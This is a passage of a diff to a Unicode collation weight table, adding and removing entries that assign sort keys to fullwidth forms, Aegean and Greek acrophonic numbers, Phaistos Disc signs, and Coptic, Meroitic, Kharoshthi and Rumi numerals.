+FFE2  ; [*061D.0020.0003] # FULLWIDTH NOT SIGN
+FFE3  ; [*0486.0020.0003] # FULLWIDTH MACRON
+FFE4  ; [*061F.0020.0003] # FULLWIDTH BROKEN BAR
+FFE8  ; [*081A.0020.0012] # HALFWIDTH FORMS LIGHT VERTICAL
+FFE9  ; [*059C.0020.0012] # HALFWIDTH LEFTWARDS ARROW
+FFEA  ; [*059E.0020.0012] # HALFWIDTH UPWARDS ARROW
+FFEB  ; [*059D.0020.0012] # HALFWIDTH RIGHTWARDS ARROW
+FFEC  ; [*059F.0020.0012] # HALFWIDTH DOWNWARDS ARROW
+FFED  ; [*08B8.0020.0012] # HALFWIDTH BLACK SQUARE
+FFEE  ; [*08E3.0020.0012] # HALFWIDTH WHITE CIRCLE
+FFFC  ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER
+10100 ; [*02FA.0020.0002] # AEGEAN WORD SEPARATOR LINE
+10101 ; [*02FB.0020.0002] # AEGEAN WORD SEPARATOR DOT
+10102 ; [*02FC.0020.0002] # AEGEAN CHECK MARK
+10110 ; [*1AE9.0020.0002] # AEGEAN NUMBER TEN
+10111 ; [*1AEA.0020.0002] # AEGEAN NUMBER TWENTY
+10112 ; [*1AEB.0020.0002] # AEGEAN NUMBER THIRTY
+10113 ; [*1AEC.0020.0002] # AEGEAN NUMBER FORTY
+10114 ; [*1AED.0020.0002] # AEGEAN NUMBER FIFTY
+10115 ; [*1AEE.0020.0002] # AEGEAN NUMBER SIXTY
+10116 ; [*1AEF.0020.0002] # AEGEAN NUMBER SEVENTY
+10117 ; [*1AF0.0020.0002] # AEGEAN NUMBER EIGHTY
+10118 ; [*1AF1.0020.0002] # AEGEAN NUMBER NINETY
+10119 ; [*1AF2.0020.0002] # AEGEAN NUMBER ONE HUNDRED
+1011A ; [*1AF3.0020.0002] # AEGEAN NUMBER TWO HUNDRED
+1011B ; [*1AF4.0020.0002] # AEGEAN NUMBER THREE HUNDRED
+1011C ; [*1AF5.0020.0002] # AEGEAN NUMBER FOUR HUNDRED
+1011D ; [*1AF6.0020.0002] # AEGEAN NUMBER FIVE HUNDRED
+1011E ; [*1AF7.0020.0002] # AEGEAN NUMBER SIX HUNDRED
+1011F ; [*1AF8.0020.0002] # AEGEAN NUMBER SEVEN HUNDRED
+10120 ; [*1AF9.0020.0002] # AEGEAN NUMBER EIGHT HUNDRED
+10121 ; [*1AFA.0020.0002] # AEGEAN NUMBER NINE HUNDRED
+10122 ; [*1AFB.0020.0002] # AEGEAN NUMBER ONE THOUSAND
+10123 ; [*1AFC.0020.0002] # AEGEAN NUMBER TWO THOUSAND
+10124 ; [*1AFD.0020.0002] # AEGEAN NUMBER THREE THOUSAND
+10125 ; [*1AFE.0020.0002] # AEGEAN NUMBER FOUR THOUSAND
+10126 ; [*1AFF.0020.0002] # AEGEAN NUMBER FIVE THOUSAND
+10127 ; [*1B00.0020.0002] # AEGEAN NUMBER SIX THOUSAND
+10128 ; [*1B01.0020.0002] # AEGEAN NUMBER SEVEN THOUSAND
+10129 ; [*1B02.0020.0002] # AEGEAN NUMBER EIGHT THOUSAND
+1012A ; [*1B03.0020.0002] # AEGEAN NUMBER NINE THOUSAND
+1012B ; [*1B04.0020.0002] # AEGEAN NUMBER TEN THOUSAND
+1012C ; [*1B05.0020.0002] # AEGEAN NUMBER TWENTY THOUSAND
+1012D ; [*1B06.0020.0002] # AEGEAN NUMBER THIRTY THOUSAND
+1012E ; [*1B07.0020.0002] # AEGEAN NUMBER FORTY THOUSAND
+1012F ; [*1B08.0020.0002] # AEGEAN NUMBER FIFTY THOUSAND
+10130 ; [*1B09.0020.0002] # AEGEAN NUMBER SIXTY THOUSAND
+10131 ; [*1B0A.0020.0002] # AEGEAN NUMBER SEVENTY THOUSAND
+10132 ; [*1B0B.0020.0002] # AEGEAN NUMBER EIGHTY THOUSAND
+10133 ; [*1B0C.0020.0002] # AEGEAN NUMBER NINETY THOUSAND
+10137 ; [*0F78.0020.0002] # AEGEAN WEIGHT BASE UNIT
+10138 ; [*0F79.0020.0002] # AEGEAN WEIGHT FIRST SUBUNIT
+10139 ; [*0F7A.0020.0002] # AEGEAN WEIGHT SECOND SUBUNIT
+1013A ; [*0F7B.0020.0002] # AEGEAN WEIGHT THIRD SUBUNIT
+1013B ; [*0F7C.0020.0002] # AEGEAN WEIGHT FOURTH SUBUNIT
+1013C ; [*0F7D.0020.0002] # AEGEAN DRY MEASURE FIRST SUBUNIT
+1013D ; [*0F7E.0020.0002] # AEGEAN LIQUID MEASURE FIRST SUBUNIT
+1013E ; [*0F7F.0020.0002] # AEGEAN MEASURE SECOND SUBUNIT
+1013F ; [*0F80.0020.0002] # AEGEAN MEASURE THIRD SUBUNIT
+10140 ; [*1B0D.0020.0002] # GREEK ACROPHONIC ATTIC ONE QUARTER
+10141 ; [*1B0E.0020.0002] # GREEK ACROPHONIC ATTIC ONE HALF
+10144 ; [*1B0F.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY
+10145 ; [*1B10.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED
+10146 ; [*1B11.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND
+10147 ; [*1B12.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND
+10149 ; [*1B13.0020.0002] # GREEK ACROPHONIC ATTIC TEN TALENTS
+1014A ; [*1B14.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY TALENTS
+1014B ; [*1B15.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED TALENTS
+1014C ; [*1B16.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED TALENTS
+1014D ; [*1B17.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND TALENTS
+1014E ; [*1B18.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND TALENTS
+10150 ; [*1B19.0020.0002] # GREEK ACROPHONIC ATTIC TEN STATERS
+10151 ; [*1B1A.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY STATERS
+10152 ; [*1B1B.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED STATERS
+10153 ; [*1B1C.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED STATERS
+10154 ; [*1B1D.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND STATERS
+10155 ; [*1B1E.0020.0002] # GREEK ACROPHONIC ATTIC TEN THOUSAND STATERS
+10156 ; [*1B1F.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND STATERS
+10157 ; [*1B20.0020.0002] # GREEK ACROPHONIC ATTIC TEN MNAS
+10160 ; [*1B21.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN
+10161 ; [*1B22.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN ALTERNATE FORM
+10162 ; [*1B23.0020.0002] # GREEK ACROPHONIC HERMIONIAN TEN
+10163 ; [*1B24.0020.0002] # GREEK ACROPHONIC MESSENIAN TEN
+10164 ; [*1B25.0020.0002] # GREEK ACROPHONIC THESPIAN TEN
+10165 ; [*1B26.0020.0002] # GREEK ACROPHONIC THESPIAN THIRTY
+10166 ; [*1B27.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY
+10167 ; [*1B28.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY ALTERNATE FORM
+10168 ; [*1B29.0020.0002] # GREEK ACROPHONIC HERMIONIAN FIFTY
+10169 ; [*1B2A.0020.0002] # GREEK ACROPHONIC THESPIAN FIFTY
+1016A ; [*1B2B.0020.0002] # GREEK ACROPHONIC THESPIAN ONE HUNDRED
+1016B ; [*1B2C.0020.0002] # GREEK ACROPHONIC THESPIAN THREE HUNDRED
+1016C ; [*1B2D.0020.0002] # GREEK ACROPHONIC EPIDAUREAN FIVE HUNDRED
+1016D ; [*1B2E.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE HUNDRED
+1016E ; [*1B2F.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE HUNDRED
+1016F ; [*1B30.0020.0002] # GREEK ACROPHONIC CARYSTIAN FIVE HUNDRED
+10170 ; [*1B31.0020.0002] # GREEK ACROPHONIC NAXIAN FIVE HUNDRED
+10171 ; [*1B32.0020.0002] # GREEK ACROPHONIC THESPIAN ONE THOUSAND
+10172 ; [*1B33.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE THOUSAND
+10174 ; [*1B34.0020.0002] # GREEK ACROPHONIC STRATIAN FIFTY MNAS
+10175 ; [*1B35.0020.0002] # GREEK ONE HALF SIGN
+10176 ; [*1B36.0020.0002] # GREEK ONE HALF SIGN ALTERNATE FORM
+10177 ; [*1B37.0020.0002] # GREEK TWO THIRDS SIGN
+10178 ; [*1B38.0020.0002] # GREEK THREE QUARTERS SIGN
+10179 ; [*0F81.0020.0002] # GREEK YEAR SIGN
+1017A ; [*0F82.0020.0002] # GREEK TALENT SIGN
+1017B ; [*0F83.0020.0002] # GREEK DRACHMA SIGN
+1017C ; [*0F84.0020.0002] # GREEK OBOL SIGN
+1017D ; [*0F85.0020.0002] # GREEK TWO OBOLS SIGN
+1017E ; [*0F86.0020.0002] # GREEK THREE OBOLS SIGN
+1017F ; [*0F87.0020.0002] # GREEK FOUR OBOLS SIGN
+10180 ; [*0F88.0020.0002] # GREEK FIVE OBOLS SIGN
+10181 ; [*0F89.0020.0002] # GREEK METRETES SIGN
+10182 ; [*0F8A.0020.0002] # GREEK KYATHOS BASE SIGN
+10183 ; [*0F8B.0020.0002] # GREEK LITRA SIGN
+10184 ; [*0F8C.0020.0002] # GREEK OUNKIA SIGN
+10185 ; [*0F8D.0020.0002] # GREEK XESTES SIGN
+10186 ; [*0F8E.0020.0002] # GREEK ARTABE SIGN
+10187 ; [*0F8F.0020.0002] # GREEK AROURA SIGN
+10188 ; [*0F90.0020.0002] # GREEK GRAMMA SIGN
+10189 ; [*0F91.0020.0002] # GREEK TRYBLION BASE SIGN
+1018B ; [*1B39.0020.0002] # GREEK ONE QUARTER SIGN
+1018C ; [*0F92.0020.0002] # GREEK SINUSOID SIGN
+1018D ; [*0F93.0020.0002] # GREEK INDICTION SIGN
+1018E ; [*0F94.0020.0002] # NOMISMA SIGN
+10190 ; [*0F95.0020.0002] # ROMAN SEXTANS SIGN
+10191 ; [*0F96.0020.0002] # ROMAN UNCIA SIGN
+10192 ; [*0F97.0020.0002] # ROMAN SEMUNCIA SIGN
+10193 ; [*0F98.0020.0002] # ROMAN SEXTULA SIGN
+10194 ; [*0F99.0020.0002] # ROMAN DIMIDIA SEXTULA SIGN
+10195 ; [*0F9A.0020.0002] # ROMAN SILIQUA SIGN
+10196 ; [*0F9B.0020.0002] # ROMAN DENARIUS SIGN
+10197 ; [*0F9C.0020.0002] # ROMAN QUINARIUS SIGN
+10198 ; [*0F9D.0020.0002] # ROMAN SESTERTIUS SIGN
+10199 ; [*0F9E.0020.0002] # ROMAN DUPONDIUS SIGN
+1019A ; [*0F9F.0020.0002] # ROMAN AS SIGN
+1019B ; [*0FA0.0020.0002] # ROMAN CENTURIAL SIGN
+101A0 ; [*0FA1.0020.0002] # GREEK SYMBOL TAU RHO
+101D0 ; [*0FA2.0020.0002] # PHAISTOS DISC SIGN PEDESTRIAN
+101D1 ; [*0FA3.0020.0002] # PHAISTOS DISC SIGN PLUMED HEAD
+101D2 ; [*0FA4.0020.0002] # PHAISTOS DISC SIGN TATTOOED HEAD
+101D3 ; [*0FA5.0020.0002] # PHAISTOS DISC SIGN CAPTIVE
+101D4 ; [*0FA6.0020.0002] # PHAISTOS DISC SIGN CHILD
+101D5 ; [*0FA7.0020.0002] # PHAISTOS DISC SIGN WOMAN
+101D6 ; [*0FA8.0020.0002] # PHAISTOS DISC SIGN HELMET
+101D7 ; [*0FA9.0020.0002] # PHAISTOS DISC SIGN GAUNTLET
+101D8 ; [*0FAA.0020.0002] # PHAISTOS DISC SIGN TIARA
+101D9 ; [*0FAB.0020.0002] # PHAISTOS DISC SIGN ARROW
+101DA ; [*0FAC.0020.0002] # PHAISTOS DISC SIGN BOW
+101DB ; [*0FAD.0020.0002] # PHAISTOS DISC SIGN SHIELD
+101DC ; [*0FAE.0020.0002] # PHAISTOS DISC SIGN CLUB
+101DD ; [*0FAF.0020.0002] # PHAISTOS DISC SIGN MANACLES
+101DE ; [*0FB0.0020.0002] # PHAISTOS DISC SIGN MATTOCK
+101DF ; [*0FB1.0020.0002] # PHAISTOS DISC SIGN SAW
+101E0 ; [*0FB2.0020.0002] # PHAISTOS DISC SIGN LID
+101E1 ; [*0FB3.0020.0002] # PHAISTOS DISC SIGN BOOMERANG
+101E2 ; [*0FB4.0020.0002] # PHAISTOS DISC SIGN CARPENTRY PLANE
+101E3 ; [*0FB5.0020.0002] # PHAISTOS DISC SIGN DOLIUM
+101E4 ; [*0FB6.0020.0002] # PHAISTOS DISC SIGN COMB
+101E5 ; [*0FB7.0020.0002] # PHAISTOS DISC SIGN SLING
+101E6 ; [*0FB8.0020.0002] # PHAISTOS DISC SIGN COLUMN
+101E7 ; [*0FB9.0020.0002] # PHAISTOS DISC SIGN BEEHIVE
+101E8 ; [*0FBA.0020.0002] # PHAISTOS DISC SIGN SHIP
+101E9 ; [*0FBB.0020.0002] # PHAISTOS DISC SIGN HORN
+101EA ; [*0FBC.0020.0002] # PHAISTOS DISC SIGN HIDE
+101EB ; [*0FBD.0020.0002] # PHAISTOS DISC SIGN BULLS LEG
+101EC ; [*0FBE.0020.0002] # PHAISTOS DISC SIGN CAT
+101ED ; [*0FBF.0020.0002] # PHAISTOS DISC SIGN RAM
+101EE ; [*0FC0.0020.0002] # PHAISTOS DISC SIGN EAGLE
+101EF ; [*0FC1.0020.0002] # PHAISTOS DISC SIGN DOVE
+101F0 ; [*0FC2.0020.0002] # PHAISTOS DISC SIGN TUNNY
+101F1 ; [*0FC3.0020.0002] # PHAISTOS DISC SIGN BEE
+101F2 ; [*0FC4.0020.0002] # PHAISTOS DISC SIGN PLANE TREE
+101F3 ; [*0FC5.0020.0002] # PHAISTOS DISC SIGN VINE
+101F4 ; [*0FC6.0020.0002] # PHAISTOS DISC SIGN PAPYRUS
+101F5 ; [*0FC7.0020.0002] # PHAISTOS DISC SIGN ROSETTE
+101F6 ; [*0FC8.0020.0002] # PHAISTOS DISC SIGN LILY
+101F7 ; [*0FC9.0020.0002] # PHAISTOS DISC SIGN OX BACK
+101F8 ; [*0FCA.0020.0002] # PHAISTOS DISC SIGN FLUTE
+101F9 ; [*0FCB.0020.0002] # PHAISTOS DISC SIGN GRATER
+101FA ; [*0FCC.0020.0002] # PHAISTOS DISC SIGN STRAINER
+101FB ; [*0FCD.0020.0002] # PHAISTOS DISC SIGN SMALL AXE
+101FC ; [*0FCE.0020.0002] # PHAISTOS DISC SIGN WAVY BAND
 102E0 ; [.0000.0000.0000] # COPTIC EPACT THOUSANDS MARK
-102EA ; [*1AC0.0020.0002] # COPTIC EPACT NUMBER TEN
-102EB ; [*1AC1.0020.0002] # COPTIC EPACT NUMBER TWENTY
-102EC ; [*1AC2.0020.0002] # COPTIC EPACT NUMBER THIRTY
-102ED ; [*1AC3.0020.0002] # COPTIC EPACT NUMBER FORTY
-102EE ; [*1AC4.0020.0002] # COPTIC EPACT NUMBER FIFTY
-102EF ; [*1AC5.0020.0002] # COPTIC EPACT NUMBER SIXTY
-102F0 ; [*1AC6.0020.0002] # COPTIC EPACT NUMBER SEVENTY
-102F1 ; [*1AC7.0020.0002] # COPTIC EPACT NUMBER EIGHTY
-102F2 ; [*1AC8.0020.0002] # COPTIC EPACT NUMBER NINETY
-102F3 ; [*1AC9.0020.0002] # COPTIC EPACT NUMBER ONE HUNDRED
-102F4 ; [*1ACA.0020.0002] # COPTIC EPACT NUMBER TWO HUNDRED
-102F5 ; [*1ACB.0020.0002] # COPTIC EPACT NUMBER THREE HUNDRED
-102F6 ; [*1ACC.0020.0002] # COPTIC EPACT NUMBER FOUR HUNDRED
-102F7 ; [*1ACD.0020.0002] # COPTIC EPACT NUMBER FIVE HUNDRED
-102F8 ; [*1ACE.0020.0002] # COPTIC EPACT NUMBER SIX HUNDRED
-102F9 ; [*1ACF.0020.0002] # COPTIC EPACT NUMBER SEVEN HUNDRED
-102FA ; [*1AD0.0020.0002] # COPTIC EPACT NUMBER EIGHT HUNDRED
-102FB ; [*1AD1.0020.0002] # COPTIC EPACT NUMBER NINE HUNDRED
-10322 ; [*1A69.0020.0002] # OLD ITALIC NUMERAL TEN
-10323 ; [*1A6A.0020.0002] # OLD ITALIC NUMERAL FIFTY
-1039F ; [*02F6.0020.0002] # UGARITIC WORD DIVIDER
-103D0 ; [*02F7.0020.0002] # OLD PERSIAN WORD DIVIDER
-103D3 ; [*1AD2.0020.0002] # OLD PERSIAN NUMBER TEN
-103D4 ; [*1AD3.0020.0002] # OLD PERSIAN NUMBER TWENTY
-103D5 ; [*1AD4.0020.0002] # OLD PERSIAN NUMBER HUNDRED
-1056F ; [*041B.0020.0002] # CAUCASIAN ALBANIAN CITATION MARK
-10857 ; [*02D2.0020.0002] # IMPERIAL ARAMAIC SECTION SIGN
-1085B ; [*1AE4.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN
-1085C ; [*1AE5.0020.0002] # IMPERIAL ARAMAIC NUMBER TWENTY
-1085D ; [*1AE6.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE HUNDRED
-1085E ; [*1AE7.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE THOUSAND
-1085F ; [*1AE8.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN THOUSAND
-10877 ; [*0FA9.0020.0002] # PALMYRENE LEFT-POINTING FLEURON
-10878 ; [*0FAA.0020.0002] # PALMYRENE RIGHT-POINTING FLEURON
-1087E ; [*1AD5.0020.0002] # PALMYRENE NUMBER TEN
-1087F ; [*1AD6.0020.0002] # PALMYRENE NUMBER TWENTY
-108AD ; [*1AD7.0020.0002] # NABATAEAN NUMBER TEN
-108AE ; [*1AD8.0020.0002] # NABATAEAN NUMBER TWENTY
-108AF ; [*1AD9.0020.0002] # NABATAEAN NUMBER ONE HUNDRED
-108FD ; [*1ADA.0020.0002] # HATRAN NUMBER TEN
-108FE ; [*1ADB.0020.0002] # HATRAN NUMBER TWENTY
-108FF ; [*1ADC.0020.0002] # HATRAN NUMBER ONE HUNDRED
-10917 ; [*1AE1.0020.0002] # PHOENICIAN NUMBER TEN
-10918 ; [*1AE2.0020.0002] # PHOENICIAN NUMBER TWENTY
-10919 ; [*1AE3.0020.0002] # PHOENICIAN NUMBER ONE HUNDRED
-1091F ; [*02F8.0020.0002] # PHOENICIAN WORD SEPARATOR
-1093F ; [*02F2.0020.0002] # LYDIAN TRIANGULAR MARK
-109BC ; [*1B59.0020.0002] # MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS
-109BD ; [*1B4E.0020.0002] # MEROITIC CURSIVE FRACTION ONE HALF
-109C9 ; [*1B23.0020.0002] # MEROITIC CURSIVE NUMBER TEN
-109CA ; [*1B24.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY
-109CB ; [*1B25.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY
-109CC ; [*1B26.0020.0002] # MEROITIC CURSIVE NUMBER FORTY
-109CD ; [*1B27.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY
-109CE ; [*1B28.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY
-109CF ; [*1B29.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY
-109D2 ; [*1B2A.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED
-109D3 ; [*1B2B.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED
-109D4 ; [*1B2C.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED
-109D5 ; [*1B2D.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED
-109D6 ; [*1B2E.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED
-109D7 ; [*1B2F.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED
-109D8 ; [*1B30.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED
-109D9 ; [*1B31.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED
-109DA ; [*1B32.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED
-109DB ; [*1B33.0020.0002] # MEROITIC CURSIVE NUMBER ONE THOUSAND
-109DC ; [*1B34.0020.0002] # MEROITIC CURSIVE NUMBER TWO THOUSAND
-109DD ; [*1B35.0020.0002] # MEROITIC CURSIVE NUMBER THREE THOUSAND
-109DE ; [*1B36.0020.0002] # MEROITIC CURSIVE NUMBER FOUR THOUSAND
-109DF ; [*1B37.0020.0002] # MEROITIC CURSIVE NUMBER FIVE THOUSAND
-109E0 ; [*1B38.0020.0002] # MEROITIC CURSIVE NUMBER SIX THOUSAND
-109E1 ; [*1B39.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN THOUSAND
-109E2 ; [*1B3A.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT THOUSAND
-109E3 ; [*1B3B.0020.0002] # MEROITIC CURSIVE NUMBER NINE THOUSAND
-109E4 ; [*1B3C.0020.0002] # MEROITIC CURSIVE NUMBER TEN THOUSAND
-109E5 ; [*1B3D.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY THOUSAND
-109E6 ; [*1B3E.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY THOUSAND
-109E7 ; [*1B3F.0020.0002] # MEROITIC CURSIVE NUMBER FORTY THOUSAND
-109E8 ; [*1B40.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY THOUSAND
-109E9 ; [*1B41.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY THOUSAND
-109EA ; [*1B42.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY THOUSAND
-109EB ; [*1B43.0020.0002] # MEROITIC CURSIVE NUMBER EIGHTY THOUSAND
-109EC ; [*1B44.0020.0002] # MEROITIC CURSIVE NUMBER NINETY THOUSAND
-109ED ; [*1B45.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED THOUSAND
-109EE ; [*1B46.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED THOUSAND
-109EF ; [*1B47.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED THOUSAND
-109F0 ; [*1B48.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED THOUSAND
-109F1 ; [*1B49.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED THOUSAND
-109F2 ; [*1B4A.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED THOUSAND
-109F3 ; [*1B4B.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED THOUSAND
-109F4 ; [*1B4C.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED THOUSAND
-109F5 ; [*1B4D.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED THOUSAND
-109F6 ; [*1B4F.0020.0002] # MEROITIC CURSIVE FRACTION ONE TWELFTH
-109F7 ; [*1B50.0020.0002] # MEROITIC CURSIVE FRACTION TWO TWELFTHS
-109F8 ; [*1B51.0020.0002] # MEROITIC CURSIVE FRACTION THREE TWELFTHS
-109F9 ; [*1B52.0020.0002] # MEROITIC CURSIVE FRACTION FOUR TWELFTHS
-109FA ; [*1B53.0020.0002] # MEROITIC CURSIVE FRACTION FIVE TWELFTHS
-109FB ; [*1B54.0020.0002] # MEROITIC CURSIVE FRACTION SIX TWELFTHS
-109FC ; [*1B55.0020.0002] # MEROITIC CURSIVE FRACTION SEVEN TWELFTHS
-109FD ; [*1B56.0020.0002] # MEROITIC CURSIVE FRACTION EIGHT TWELFTHS
-109FE ; [*1B57.0020.0002] # MEROITIC CURSIVE FRACTION NINE TWELFTHS
-109FF ; [*1B58.0020.0002] # MEROITIC CURSIVE FRACTION TEN TWELFTHS
-10A44 ; [*1B04.0020.0002] # KHAROSHTHI NUMBER TEN
-10A45 ; [*1B05.0020.0002] # KHAROSHTHI NUMBER TWENTY
-10A46 ; [*1B06.0020.0002] # KHAROSHTHI NUMBER ONE HUNDRED
-10A47 ; [*1B07.0020.0002] # KHAROSHTHI NUMBER ONE THOUSAND
-10A50 ; [*0421.0020.0002] # KHAROSHTHI PUNCTUATION DOT
-10A51 ; [*0422.0020.0002] # KHAROSHTHI PUNCTUATION SMALL CIRCLE
-10A52 ; [*0423.0020.0002] # KHAROSHTHI PUNCTUATION CIRCLE
-10A53 ; [*0424.0020.0002] # KHAROSHTHI PUNCTUATION CRESCENT BAR
-10A54 ; [*0425.0020.0002] # KHAROSHTHI PUNCTUATION MANGALAM
-10A55 ; [*0426.0020.0002] # KHAROSHTHI PUNCTUATION LOTUS
-10A56 ; [*02A7.0020.0002] # KHAROSHTHI PUNCTUATION DANDA
-10A57 ; [*02A8.0020.0002] # KHAROSHTHI PUNCTUATION DOUBLE DANDA
-10A58 ; [*0427.0020.0002] # KHAROSHTHI PUNCTUATION LINES
-10A7E ; [*1ADD.0020.0002] # OLD SOUTH ARABIAN NUMBER FIFTY
-10A7F ; [*1ADE.0020.0002] # OLD SOUTH ARABIAN NUMERIC INDICATOR
-10A9E ; [*1ADF.0020.0002] # OLD NORTH ARABIAN NUMBER TEN
-10A9F ; [*1AE0.0020.0002] # OLD NORTH ARABIAN NUMBER TWENTY
-10AED ; [*1AE9.0020.0002] # MANICHAEAN NUMBER TEN
-10AEE ; [*1AEA.0020.0002] # MANICHAEAN NUMBER TWENTY
-10AEF ; [*1AEB.0020.0002] # MANICHAEAN NUMBER ONE HUNDRED
-10AF0 ; [*0429.0020.0002] # MANICHAEAN PUNCTUATION STAR
-10AF1 ; [*042A.0020.0002] # MANICHAEAN PUNCTUATION FLEURON
-10AF2 ; [*042B.0020.0002] # MANICHAEAN PUNCTUATION DOUBLE DOT WITHIN DOT
-10AF3 ; [*042C.0020.0002] # MANICHAEAN PUNCTUATION DOT WITHIN DOT
-10AF4 ; [*042D.0020.0002] # MANICHAEAN PUNCTUATION DOT
-10AF5 ; [*042E.0020.0002] # MANICHAEAN PUNCTUATION TWO DOTS
-10AF6 ; [*042F.0020.0002] # MANICHAEAN PUNCTUATION LINE FILLER
-10B39 ; [*0428.0020.0002] # AVESTAN ABBREVIATION MARK
-10B3A ; [*02D3.0020.0002] # TINY TWO DOTS OVER ONE DOT PUNCTUATION
-10B3B ; [*02D4.0020.0002] # SMALL TWO DOTS OVER ONE DOT PUNCTUATION
-10B3C ; [*02D5.0020.0002] # LARGE TWO DOTS OVER ONE DOT PUNCTUATION
-10B3D ; [*02D6.0020.0002] # LARGE ONE DOT OVER TWO DOTS PUNCTUATION
-10B3E ; [*02D7.0020.0002] # LARGE TWO RINGS OVER ONE RING PUNCTUATION
-10B3F ; [*02D8.0020.0002] # LARGE ONE RING OVER TWO RINGS PUNCTUATION
-10B5C ; [*1AEC.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TEN
-10B5D ; [*1AED.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWENTY
-10B5E ; [*1AEE.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE HUNDRED
-10B5F ; [*1AEF.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND
-10B7C ; [*1AF0.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TEN
-10B7D ; [*1AF1.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWENTY
-10B7E ; [*1AF2.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE HUNDRED
-10B7F ; [*1AF3.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND
-10B99 ; [*0430.0020.0002] # PSALTER PAHLAVI SECTION MARK
-10B9A ; [*0431.0020.0002] # PSALTER PAHLAVI TURNED SECTION MARK
-10B9B ; [*0432.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH CROSS
-10B9C ; [*0433.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH DOT
-10BAD ; [*1AF4.0020.0002] # PSALTER PAHLAVI NUMBER TEN
-10BAE ; [*1AF5.0020.0002] # PSALTER PAHLAVI NUMBER TWENTY
-10BAF ; [*1AF6.0020.0002] # PSALTER PAHLAVI NUMBER ONE HUNDRED
-10CFC ; [*1A6B.0020.0002] # OLD HUNGARIAN NUMBER TEN
-10CFD ; [*1A6C.0020.0002] # OLD HUNGARIAN NUMBER FIFTY
-10CFE ; [*1A6D.0020.0002] # OLD HUNGARIAN NUMBER ONE HUNDRED
-10CFF ; [*1A6E.0020.0002] # OLD HUNGARIAN NUMBER ONE THOUSAND
-10E69 ; [*1A52.0020.0002] # RUMI NUMBER TEN
-10E6A ; [*1A53.0020.0002] # RUMI NUMBER TWENTY
-10E6B ; [*1A54.0020.0002] # RUMI NUMBER THIRTY
-10E6C ; [*1A55.0020.0002] # RUMI NUMBER FORTY
-10E6D ; [*1A56.0020.0002] # RUMI NUMBER FIFTY
-10E6E ; [*1A57.0020.0002] # RUMI NUMBER SIXTY
-10E6F ; [*1A58.0020.0002] # RUMI NUMBER SEVENTY
-10E70 ; [*1A59.0020.0002] # RUMI NUMBER EIGHTY
-10E71 ; [*1A5A.0020.0002] # RUMI NUMBER NINETY
-10E72 ; [*1A5B.0020.0002] # RUMI NUMBER ONE HUNDRED
-10E73 ; [*1A5C.0020.0002] # RUMI NUMBER TWO HUNDRED
-10E74 ; [*1A5D.0020.0002] # RUMI NUMBER THREE HUNDRED
-10E75 ; [*1A5E.0020.0002] # RUMI NUMBER FOUR HUNDRED
